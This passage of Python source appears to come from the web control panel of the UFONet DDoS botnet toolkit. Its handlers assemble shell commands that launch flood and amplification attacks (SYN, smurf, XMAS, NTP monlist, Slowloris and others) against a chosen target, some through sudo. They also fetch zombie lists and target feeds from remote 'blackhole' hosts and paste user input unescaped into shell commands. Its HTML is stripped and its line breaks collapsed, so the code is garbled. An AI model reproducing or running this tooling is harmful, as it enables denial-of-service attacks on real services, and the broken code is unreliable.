"+'\n'.join(self.list_ucavs)+""+'\n'.join(self.ucavs)+"


" if page == "/cmd_list_rpcs": self.pages["/cmd_list_rpcs"] = "

Total XML-RPCs = "+self.num_rpcs+"


XML-RPCs: "+self.num_rpcs+"

Last update: "+time.ctime(os.path.getctime(self.rpcs_file))+"
"+'\n'.join(self.list_rpcs)+""+'\n'.join(self.rpcs)+"


" if page == "/cmd_view_army": if pGet=={}: self.pages["/cmd_view_army"] = self.html_army_map() if page == "/cmd_view_attack": if 'target' in list(pGet.keys()) != None: self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target']) if page == "/cmd_test_army": self.pages["/cmd_test_army"] = "
Waiting for testing results...
" runcmd = "(python -i ufonet -t " + self.zombies_file + " " + cmd_options + "|tee /tmp/out) &" if page == "/cmd_test_all": self.pages["/cmd_test_all"] = "
Waiting for testing results...
" runcmd = "(python -i ufonet --test-all " + cmd_options + "|tee /tmp/out) &" if page == "/cmd_test_offline": self.pages["/cmd_test_offline"] = "
Waiting for testing results...
" runcmd = "(python -i ufonet --test-offline " + cmd_options + "|tee /tmp/out) &" if page == "/cmd_attack_me": self.pages["/cmd_attack_me"] = "
Waiting for 'attack-me' results...
" runcmd = "(python -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &" if page == "/cmd_attack_me_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_attack_me_update"] = "
"+f.read()+"
"
        if page == "/cmd_download_community":
            self.pages["/cmd_download_community"] = "
Waiting for downloading results...
" runcmd = "(python -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &" if page == "/cmd_download_community_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_download_community_update"] = "
"+f.read()+"
"
        if page == "/cmd_upload_community":
            self.pages["/cmd_upload_community"] = "
Waiting for uploading results...
" runcmd = "(python -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &" if page == "/cmd_upload_community_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_upload_community_update"] = "
"+f.read()+"
"
        if page == "/cmd_test_army_update":
            if not os.path.exists('/tmp/out'):
                open('/tmp/out', 'w').close() 
            with open('/tmp/out', 'r') as f:
                self.pages["/cmd_test_army_update"] = "
"+f.read()+"
"
        if page == "/cmd_test_all_update":
            if not os.path.exists('/tmp/out'):
                open('/tmp/out', 'w').close()
            with open('/tmp/out', 'r') as f:
                self.pages["/cmd_test_all_update"] = "
"+f.read()+"
"
        if page == "/cmd_test_offline_update":
            if not os.path.exists('/tmp/out'):
                open('/tmp/out', 'w').close()
            with open('/tmp/out', 'r') as f:
                self.pages["/cmd_test_offline_update"] = "
"+f.read()+"
"
        if page == "/cmd_test_rpcs":
            self.pages["/cmd_test_rpcs"] = "
Waiting for XML-RPC testing results...
" runcmd = "(python -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &" if page == "/cmd_test_rpcs_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_test_rpcs_update"] = "
"+f.read()+"
"
        if page == "/cmd_attack":
            self.pages["/cmd_attack"] = "
Waiting for attacking results...
" cmd = "" flag_ufosyn = None flag_spray = None flag_smurf = None flag_xmas = None flag_nuke = None flag_tachyon = None flag_monlist = None nonroot_cmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' " root_cmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' " end_cmd = ""+cmd_options + "|tee /tmp/out) &" if pGet["dbstress"]: cmd += "--db '" +str(pGet["dbstress"])+ "' " if pGet["loic"]: cmd += "--loic '" +str(pGet["loic"])+ "' " if pGet["loris"]: cmd += "--loris '" +str(pGet["loris"])+ "' " if pGet["ufosyn"]: cmd += "--ufosyn '" +str(pGet["ufosyn"])+ "' " flag_ufosyn = True if pGet["spray"]: cmd += "--spray '" +str(pGet["spray"])+ "' " flag_spray = True if pGet["smurf"]: cmd += "--smurf '" +str(pGet["smurf"])+ "' " flag_smurf = True if pGet["xmas"]: cmd += "--xmas '" +str(pGet["xmas"])+ "' " flag_xmas = True if pGet["nuke"]: cmd += "--nuke '" +str(pGet["nuke"])+ "' " flag_nuke = True if pGet["tachyon"]: cmd += "--tachyon '" +str(pGet["tachyon"])+ "' " flag_tachyon = True if pGet["monlist"]: cmd += "--monlist '" +str(pGet["monlist"])+ "' " flag_monlist = True if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn: cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS) if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True: cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST) runcmd = cmd + end_cmd if page == "/cmd_attack_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_attack_update"] = "
"+f.read()+"
"
        if page == "/cmd_inspect":
            self.pages["/cmd_inspect"] = "
Waiting for inspecting results...
" target = pGet["target"] target=urllib.parse.unquote(target) runcmd = "(python -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &" if page == "/cmd_inspect_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_inspect_update"] = "
"+f.read()+"
"
        if page == "/cmd_abduction":
            self.pages["/cmd_abduction"] = "
Waiting for abduction results...
" target = pGet["target"] target=urllib.parse.unquote(target) runcmd = "(python -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &" if page == "/cmd_abduction_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_abduction_update"] = "
"+f.read()+"
"
        if page == "/cmd_search":
            self.pages["/cmd_search"] = "
Waiting for search engines results...
" if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt) if pGet["all_engines"] == "on": # search using all search engines (and exclude those set by the user) if pGet["exclude_engines"]: runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &" else: runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &" else: # search using a search engine runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &" else: # search using a pattern if pGet["autosearch"] == "on": # search using auto-search mod if pGet["exclude_engines"]: runcmd = "(python -i ufonet --auto-search '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &" else: runcmd = "(python -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &" else: if pGet["all_engines"] == "on": # search using all search engines if pGet["exclude_engines"]: runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &" else: runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &" else: # search using a search engine runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &" if page == "/cmd_search_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_search_update"] = "
"+f.read()+"
"
        if page == "/cmd_refresh_blackholes":
            self.pages["/cmd_refresh_blackholes"] = "
Waiting for 'blackhole' reply...
" blackhole_ip = pGet["blackholes_source"] blackhole_ip = urllib.parse.unquote(blackhole_ip) try: blackholes = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/nodes.dat').read().decode('utf-8') f = open(self.blackholes, "w") # write updates to nodes.dat f.write(blackholes) f.close() self.blackholes_text = blackholes except: blackholes = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n" end_mark = "\n[Info] [AI] End of blackholes list (nodes.dat). -> [Refreshing!]" f = open("/tmp/out", "w") f.write(str(blackholes)) f.write(end_mark) f.close() if page == "/cmd_refresh_blackholes_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_refresh_blackholes_update"] = "
"+f.read()+"
"
        if page == "/cmd_refresh_news":
            self.pages["/cmd_refresh_news"] = "
Waiting for 'blackhole' reply...
" blackhole_ip = pGet["news_source"] blackhole_ip = urllib.parse.unquote(blackhole_ip) try: news = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read().decode('utf-8') f = open(self.news, "w") # write updates to news.txt f.write(news) f.close() self.news_text = news except: news = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n" end_mark = "\n[Info] [AI] End of news feed. -> [Refreshing!]" f = open("/tmp/out", "w") f.write(str(news)) f.write(end_mark) f.close() if page == "/cmd_refresh_news_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_refresh_news_update"] = "
"+f.read()+"
"
        if page == "/cmd_sync_wargames":
            self.pages["/cmd_sync_wargames"] = "
Waiting for 'blackhole' reply...
" blackhole_ip = pGet["wargames_source"] blackhole_ip = urllib.parse.unquote(blackhole_ip) try: wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8') f = open(self.wargames_file, "w") # write updates to wargames.txt f.write(wargames) f.close() self.wargames_text = wargames except: wargames = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n" end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]" f = open("/tmp/out", "w") f.write(str(wargames)) f.write(end_mark) f.close() if page == "/cmd_sync_wargames_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: stream = f.read() stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n) self.pages["/cmd_sync_wargames_update"] = "
"+stream+"
"
        if page == "/cmd_refresh_missions":
            self.pages["/cmd_refresh_missions"] = "
Waiting for 'blackhole' reply...
" blackhole_ip = pGet["missions_source"] blackhole_ip = urllib.parse.unquote(blackhole_ip) try: missions = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read().decode('utf-8') f = open(self.missions, "w") # write updates to missions.txt f.write(missions) f.close() self.missions_text = missions except: missions = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n" end_mark = "\n[Info] [AI] End of missions feed. -> [Refreshing!]" f = open("/tmp/out", "w") f.write(str(missions)) f.write(end_mark) f.close() if page == "/cmd_refresh_missions_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_refresh_missions_update"] = "
"+f.read()+"
"
        if page == "/cmd_refresh_ranking":
            self.pages["/cmd_refresh_ranking"] = "
Waiting for 'blackhole' reply...
" ranking_ip = pGet["ranking_source"] ranking_ip = urllib.parse.unquote(ranking_ip) try: ranking = urllib.request.urlopen('http://'+ranking_ip+'/ufonet/grid.txt').read().decode('utf-8') f = open(self.grid_file, "w") # write updates to grid.txt f.write(ranking) f.close() self.ranking_text = ranking except: ranking = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n" end_mark = "\n[Info] [AI] End of ranking feed. -> [Refreshing!]" f = open("/tmp/out", "w") f.write(str(ranking)) f.write(end_mark) f.close() if page == "/cmd_refresh_ranking_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_refresh_ranking_update"] = "
"+f.read()+"
"
        if page == "/cmd_sync_grid":
            self.pages["/cmd_sync_grid"] = "
Waiting for 'blackhole' reply...
" blackhole_ip = pGet["grid_source"] blackhole_ip = urllib.parse.unquote(blackhole_ip) try: grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8') f = open(self.grid_file, "w") # write updates to grid.txt f.write(grid) f.close() self.grid_text = grid except: grid = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n" end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]" f = open("/tmp/out", "w") f.write(str(grid)) f.write(end_mark) f.close() if page == "/cmd_sync_grid_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: stream = f.read() stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n) self.pages["/cmd_sync_grid_update"] = "
"+stream+"
"
        if page == "/cmd_job_remove":
            self.pages["/cmd_job_remove"] = "
Removing wargame from your list...
" try: job_id = pGet["id"] except: job_id = "" if job_id is not "": self.list_wargames.reverse() try: job_task = self.list_wargames[(int(job_id)-1)] f = open(self.wargames_file,"r") ls = f.readlines() f.close() f = open(self.wargames_file,"w") for l in ls: if str(l) != str(job_task): f.write(l) f.close() except: pass if page == "/cmd_job_remove_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_job_remove_update"] = "
"+f.read()+"
"
        if page == "/cmd_job_remove_all":
            self.pages["/cmd_job_remove_all"] = "
Purging ALL -CLOSED- wargames from your list...
" try: key_params = pGet["key"] sep = "," key = key_params.rsplit(sep, 1)[0] except: key = "" if key is not "": try: self.list_wargames.reverse() now = strftime("%d-%m-%Y %H:%M:%S", gmtime()) now = strptime(now, "%d-%m-%Y %H:%M:%S") f = open(self.wargames_file,"r") ls = f.readlines() f.close() f = open(self.wargames_file,"w") sep = "#-#" for l in ls: job_estimated = l.rsplit(sep, 1)[1] self.decrypt(key, job_estimated) if self.decryptedtext: job_estimated = self.decryptedtext else: job_estimated = now self.decryptedtext = "" job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S") if (now >= job_estimated) == False: # -ONGOING- f.write(l) f.close() except: pass if page == "/cmd_job_remove_all_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_job_remove_all_update"] = "
"+f.read()+"
"
        if page == "/cmd_edit_supply":
            self.pages["/cmd_edit_supply"] = "
Changing 'Global Army Supply' configuration...
" try: supply_botnet = pGet["botnet"] supply_loic = pGet["loic"] supply_loris = pGet["loris"] supply_ufosyn = pGet["ufosyn"] supply_spray = pGet["spray"] supply_smurf = pGet["smurf"] supply_xmas = pGet["xmas"] supply_nuke = pGet["nuke"] supply_tachyon = pGet["tachyon"] supply_monlist = pGet["monlist"] except: # default global supply army supply_botnet = 1 supply_loic = 0 supply_loris = 0 supply_ufosyn = 0 supply_spray = 0 supply_smurf = 0 supply_xmas = 0 supply_nuke = 0 supply_tachyon = 0 supply_monlist = 0 with open(self.mothership_supplycfg_file, "w") as f: json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn, "spray": supply_spray, "smurf": supply_smurf, "xmas": supply_xmas, "nuke": supply_nuke, "tachyon": supply_tachyon, "monlist": supply_monlist}, f, indent=4) if page == "/cmd_job_add": self.pages["/cmd_job_add"] = "
Adding wargame to your list...
" try: job_params = pGet["id"] sep = "," job_id = job_params.rsplit(sep, 1)[0] except: job_id = "" if job_id is not "": self.list_wargames.reverse() try: job_task = self.list_wargames[(int(job_id)-1)] f = open(self.wargames_file,"r") ls = f.readlines() f.close() f = open(self.wargames_file,"w") sep = "#-#" for l in ls: if str(l) != str(job_task): f.write(l) else: job_t2 = job_task.rsplit(sep, 1)[0] job_creation = job_t2.rsplit(sep, 1)[0] job_target = job_t2.rsplit(sep, 1)[1] job_estimated = job_task.rsplit(sep, 1)[1] l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated) # '!!!' target marked as job f.write(l) f.close() except: pass if page == "/cmd_job_add_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_job_add_update"] = "
"+f.read()+"
"
        if page == "/cmd_job_add_all":
            self.pages["/cmd_job_add_all"] = "
Engaging ALL -ONGOING- wargames... ;-)
" try: self.list_wargames.reverse() f = open(self.wargames_file,"r") ls = f.readlines() f.close() f = open(self.wargames_file,"w") sep = "#-#" for l in ls: job_t2 = l.rsplit(sep, 1)[0] job_creation = job_t2.rsplit(sep, 1)[0] job_target = job_t2.rsplit(sep, 1)[1] job_estimated = l.rsplit(sep, 1)[1] if not "!!!" in job_target: l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated) else: l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated) f.write(l) f.close() except: pass if page == "/cmd_job_add_all_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_job_add_all_update"] = "
"+f.read()+"
"
        if page == "/cmd_job_cancel":
            self.pages["/cmd_job_cancel"] = "
Canceling wargame from your list...
" try: job_params = pGet["id"] sep = "," job_id = job_params.rsplit(sep, 1)[0] except: job_id = "" if job_id is not "": self.list_wargames.reverse() try: job_task = self.list_wargames[(int(job_id)-1)] f = open(self.wargames_file,"r") ls = f.readlines() f.close() f = open(self.wargames_file,"w") for l in ls: if str(l) != str(job_task): f.write(l) else: sep = "#-#" job_t2 = job_task.rsplit(sep, 1)[0] job_creation = job_t2.rsplit(sep, 1)[0] job_target = job_t2.rsplit(sep, 1)[1] job_target = job_target.replace("!!!","") # undo target marked as job (unjob) job_estimated = job_task.rsplit(sep, 1)[1] l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated) f.write(l) f.close() except: pass if page == "/cmd_job_cancel_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_job_cancel_update"] = "
"+f.read()+"
"
        if page == "/cmd_job_cancel_all":
            self.pages["/cmd_job_cancel_all"] = "
Canceling ALL -JOINED- wargames from your list...
" try: self.list_wargames.reverse() f = open(self.wargames_file,"r") ls = f.readlines() f.close() f = open(self.wargames_file,"w") sep = "#-#" for l in ls: job_t2 = l.rsplit(sep, 1)[0] job_creation = job_t2.rsplit(sep, 1)[0] job_target = job_t2.rsplit(sep, 1)[1] job_target = job_target.replace("!!!","") # undo target marked as job (unjob) job_estimated = l.rsplit(sep, 1)[1] l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated) f.write(l) f.close() except: pass if page == "/cmd_job_cancel_all_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_job_cancel_all_update"] = "
"+f.read()+"
"
        if page == "/cmd_job_filter":
            try:
                job_filter = pGet["filter"]
                job_key = pGet["key"]
            except:
                job_filter = "creation"
                job_key = str(self.crypto_key)
            self.pages["/cmd_job_filter"] = "
Ordering wargames by: "+job_filter+"
" nodec_text = "KEY?" try: wargames_items=[] with open(self.wargames_file) as f: ls = f.read().splitlines() f.close() f = open(self.wargames_file,"w") for j in ls: if wargames_msg_sep in j: m = j.split(wargames_msg_sep) wargames_creation = m[0] # creation date self.decrypt(job_key, wargames_creation) if self.decryptedtext: wargames_creation = self.decryptedtext else: wargames_creation = nodec_text self.decryptedtext = "" # clean decryptedtext buffer wargames_target = m[1] # target self.decrypt(job_key, wargames_target) if self.decryptedtext: wargames_target = self.decryptedtext if wargames_target.startswith("www."): wargames_target = wargames_target.replace("www.","") else: wargames_target = nodec_text self.decryptedtext = "" # clean decryptedtext buffer wargames_estimated = m[2] # estimated date self.decrypt(job_key, wargames_estimated) if self.decryptedtext: wargames_estimated = self.decryptedtext else: wargames_estimated = nodec_text self.decryptedtext = "" # clean decryptedtext buffer wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S") wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S") wargames_items.append([wargames_creation,wargames_target,wargames_estimated]) if job_filter == "creation": wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation elif job_filter == "target": wargames_items=sorted(wargames_items,key=lambda x:x[1]) # sorted by target elif job_filter == "estimated": wargames_items=sorted(wargames_items,key=lambda x:x[2]) # sorted by estimated else: wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation for i in wargames_items: wargames_creation = i[0] wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation) self.encrypt(job_key, wargames_creation) if self.encryptedtext: wargames_creation = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer wargames_target = str(i[1]) self.encrypt(job_key, wargames_target) if self.encryptedtext: wargames_target = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer wargames_estimated = i[2] wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated) self.encrypt(job_key, wargames_estimated) if self.encryptedtext: wargames_estimated = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer l = str(wargames_creation) + "#-#" + str(wargames_target) + "#-#" + str(wargames_estimated) f.write(l + os.linesep) f.close() except: pass if page == "/cmd_job_filter_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_job_filter_update"] = "
"+f.read()+"
"
        if page == "/cmd_grid_filter":
            try:
                grid_filter = pGet["filter"]
                grid_key = pGet["key"]
            except:
                grid_filter = "missions" # default grid order by
                grid_key = str(self.crypto_key)
            self.pages["/cmd_grid_filter"] = "
Ordering grid by: "+grid_filter+"
" nodec_text = "KEY?" nodec_num = 0 try: grid_items=[] with open(self.grid_file) as f: ls = f.read().splitlines() f.close() f = open(self.grid_file,"w") for j in ls: if grid_msg_sep in j: version = j.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2) m = j.split(grid_msg_sep) grid_nickname = m[0] # nickname self.decrypt(grid_key, grid_nickname) if self.decryptedtext: grid_nickname = str(self.decryptedtext) else: grid_nickname = nodec_text self.decryptedtext = "" # clean decryptedtext buffer grid_ranking = m[1] # ranking self.decrypt(grid_key, grid_ranking) if self.decryptedtext: try: grid_ranking = int(self.decryptedtext) except: grid_ranking = nodec_num else: grid_ranking = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_totalchargo = m[2] # total chargo self.decrypt(grid_key, grid_totalchargo) if self.decryptedtext: try: grid_totalchargo = int(self.decryptedtext) except: grid_totalchargo = nodec_num else: grid_totalchargo = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_dorking = m[3] # dorking self.decrypt(grid_key, grid_dorking) if self.decryptedtext: try: grid_dorking = int(self.decryptedtext) except: grid_dorking = nodec_num else: grid_dorking = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_transferred = m[4] # transferred self.decrypt(grid_key, grid_transferred) if self.decryptedtext: try: grid_transferred = int(self.decryptedtext) except: grid_transferred = nodec_num else: grid_transferred = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_maxchargo = m[5] # maxchargo self.decrypt(grid_key, grid_maxchargo) if self.decryptedtext: try: grid_maxchargo = int(self.decryptedtext) except: grid_maxchargo = nodec_num else: grid_maxchargo = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_missions = m[6] # missions self.decrypt(grid_key, grid_missions) if self.decryptedtext: try: grid_missions = int(self.decryptedtext) except: grid_missions = nodec_num else: grid_missions = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_attacks = m[7] # attacks self.decrypt(grid_key, grid_attacks) if self.decryptedtext: try: grid_attacks = int(self.decryptedtext) except: grid_attacks = nodec_num else: grid_attacks = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_loic = m[8] # loic self.decrypt(grid_key, grid_loic) if self.decryptedtext: try: grid_loic = int(self.decryptedtext) except: grid_loic = nodec_num else: grid_loic = nodec_num if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11: grid_loris = m[9] # loris self.decrypt(grid_key, grid_loris) if self.decryptedtext: try: grid_loris = int(self.decryptedtext) except: grid_loris = nodec_num else: grid_loris = nodec_num self.decryptedtext = "" # clean decryptedtext buffer else: grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present self.decrypt(grid_key, grid_loris) if self.decryptedtext: try: grid_loris = int(self.decryptedtext) except: grid_loris = nodec_num else: grid_loris = nodec_num self.decryptedtext = "" # clean decryptedtext buffer if version > 17 or version == 17 or version == 16 or version == 15 or version == 12: grid_ufosyn = m[10] # ufosyn self.decrypt(grid_key, grid_ufosyn) if self.decryptedtext: try: grid_ufosyn = int(self.decryptedtext) except: grid_ufosyn = nodec_num else: grid_ufosyn = nodec_num self.decryptedtext = "" # clean decryptedtext buffer else: grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present self.decrypt(grid_key, grid_ufosyn) if self.decryptedtext: try: grid_ufosyn = int(self.decryptedtext) except: grid_ufosyn = nodec_num else: grid_ufosyn = nodec_num self.decryptedtext = "" # clean decryptedtext buffer if version > 17 or version == 17 or version == 16 or version == 15: grid_spray = m[11] # spray self.decrypt(grid_key, grid_spray) if self.decryptedtext: try: grid_spray = int(self.decryptedtext) except: grid_spray = nodec_num else: grid_spray = nodec_num self.decryptedtext = "" # clean decryptedtext buffer else: grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present self.decrypt(grid_key, grid_spray) if self.decryptedtext: try: grid_spray = int(self.decryptedtext) except: grid_spray = nodec_num else: grid_spray = nodec_num self.decryptedtext = "" # clean decryptedtext buffer if version > 17 or version == 17 or version == 16 or version == 15: grid_smurf = m[12] # smurf self.decrypt(grid_key, grid_smurf) if self.decryptedtext: try: grid_smurf = int(self.decryptedtext) except: grid_smurf = nodec_num else: grid_smurf = nodec_num self.decryptedtext = "" # clean decryptedtext buffer else: grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present self.decrypt(grid_key, grid_smurf) if self.decryptedtext: try: grid_smurf = int(self.decryptedtext) except: grid_smurf = nodec_num else: grid_smurf = nodec_num self.decryptedtext = "" # clean decryptedtext buffer if version > 17 or version == 17 or version == 16 or version == 15: grid_xmas = m[13] # xmas self.decrypt(grid_key, grid_xmas) if self.decryptedtext: try: grid_xmas = int(self.decryptedtext) except: grid_xmas = nodec_num else: grid_xmas = nodec_num self.decryptedtext = "" # clean decryptedtext buffer else: grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present self.decrypt(grid_key, grid_xmas) if self.decryptedtext: try: grid_xmas = int(self.decryptedtext) except: grid_xmas = nodec_num else: grid_xmas = nodec_num self.decryptedtext = "" # clean decryptedtext buffer if version > 17 or version == 17 or version == 16: grid_nuke = m[14] # nuke self.decrypt(grid_key, grid_nuke) if self.decryptedtext: try: grid_nuke = int(self.decryptedtext) except: grid_nuke = nodec_num else: grid_nuke = nodec_num self.decryptedtext = "" # clean decryptedtext buffer else: grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present self.decrypt(grid_key, grid_nuke) if self.decryptedtext: try: grid_nuke = int(self.decryptedtext) except: grid_nuke = nodec_num else: grid_nuke = nodec_num self.decryptedtext = "" # clean decryptedtext buffer if version > 17 or version == 17: grid_tachyon = m[15] # tachyon self.decrypt(grid_key, grid_tachyon) if self.decryptedtext: try: grid_tachyon = int(self.decryptedtext) except: grid_tachyon = nodec_num else: grid_tachyon = nodec_num self.decryptedtext = "" # clean decryptedtext buffer else: grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present self.decrypt(grid_key, grid_tachyon) if self.decryptedtext: try: grid_tachyon = int(self.decryptedtext) except: grid_tachyon = nodec_num else: grid_tachyon = nodec_num self.decryptedtext = "" # clean decryptedtext buffer if version > 17: grid_monlist = m[16] # monlist self.decrypt(grid_key, grid_monlist) if self.decryptedtext: try: grid_monlist = int(self.decryptedtext) except: grid_monlist = nodec_num else: grid_monlist = nodec_num self.decryptedtext = "" # clean decryptedtext buffer else: grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present self.decrypt(grid_key, grid_monlist) if self.decryptedtext: try: grid_monlist = int(self.decryptedtext) except: grid_monlist = nodec_num else: grid_monlist = nodec_num self.decryptedtext = "" # clean decryptedtext buffer if version > 17: grid_contact = m[17] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer grid_id = m[18] # id elif version == 17: grid_contact = m[16] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer grid_id = m[17] # id elif version == 16: grid_contact = m[15] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer grid_id = m[16] # id elif version == 15: grid_contact = m[14] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean 